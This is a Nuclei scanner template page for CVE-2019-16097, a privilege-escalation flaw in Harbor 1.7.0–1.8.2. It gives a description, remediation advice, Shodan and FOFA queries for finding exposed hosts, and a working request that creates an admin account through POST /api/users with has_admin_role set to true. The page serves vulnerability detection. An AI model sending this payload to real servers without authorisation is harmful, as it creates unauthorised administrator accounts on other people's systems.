Skip to content
Nuclei Templates

Harbor <=1.82.0 - Privilege Escalation

ID: CVE-2019-16097

Severity: medium

Author: pikpikcu

Tags: cve,cve2019,intrusive,harbor,linuxfoundation

Description

Section titled “Description”

Harbor 1.7.0 through 1.8.2 is susceptible to privilege escalation via core/api/user.go, which allows allows non-admin users to create admin accounts via the POST /api/users API when Harbor is setup with DB as an authentication backend and allows user to do self-registration.

YAML Source

Section titled “YAML Source”
id: CVE-2019-16097


info:
  name: Harbor <=1.82.0 - Privilege Escalation
  author: pikpikcu
  severity: medium
  description: Harbor 1.7.0 through 1.8.2 is susceptible to privilege escalation via core/api/user.go, which allows allows non-admin users to create admin accounts via the POST /api/users API when Harbor is setup with DB as an authentication backend and allows user to do self-registration.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to escalate their privileges and gain unauthorized access to sensitive information.
  remediation: Upgrade to v1.7.6 v1.8.3. v.1.9.0 or higher. A potential workaround without applying the fix is to configure Harbor to use a non-DB authentication backend such as LDAP.
  reference:
    - https://unit42.paloaltonetworks.com/critical-vulnerability-in-harbor-enables-privilege-escalation-from-zero-to-admin-cve-2019-16097/
    - https://github.com/goharbor/harbor/issues/8951
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16097
    - https://github.com/goharbor/harbor/commit/b6db8a8a106259ec9a2c48be8a380cb3b37cf517
    - http://www.vmware.com/security/advisories/VMSA-2019-0015.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 6.5
    cve-id: CVE-2019-16097
    cwe-id: CWE-862
    epss-score: 0.96492
    epss-percentile: 0.99563
    cpe: cpe:2.3:a:linuxfoundation:harbor:1.7.0:-:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: linuxfoundation
    product: harbor
    shodan-query: http.favicon.hash:657337228
    fofa-query: icon_hash=657337228
  tags: cve,cve2019,intrusive,harbor,linuxfoundation


http:
  - method: POST
    path:
      - '{{BaseURL}}/api/users'


    body: |
      {"username": "testpoc", "has_admin_role": true, "password": "TestPoc!", "email": "[email protected]", "realname": "poc"}


    headers:
      Content-Type: application/json


    matchers-condition: and
    matchers:
      - type: word
        part: response
        words:
          - "username has already been used"
          - "Location: /api/users/"
        condition: or


      - type: status
        status:
          - 201
          - 409
        condition: or
# digest: 490a0046304402204c68c771537a0b4e305b42357b94c3a40d78c8f8c89def91f371a17ef6d81ccd0220580b22ef90ff51a33003de1421fa48268be073e9aced37078485620e6a89dd7f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-16097.yaml"

View on Github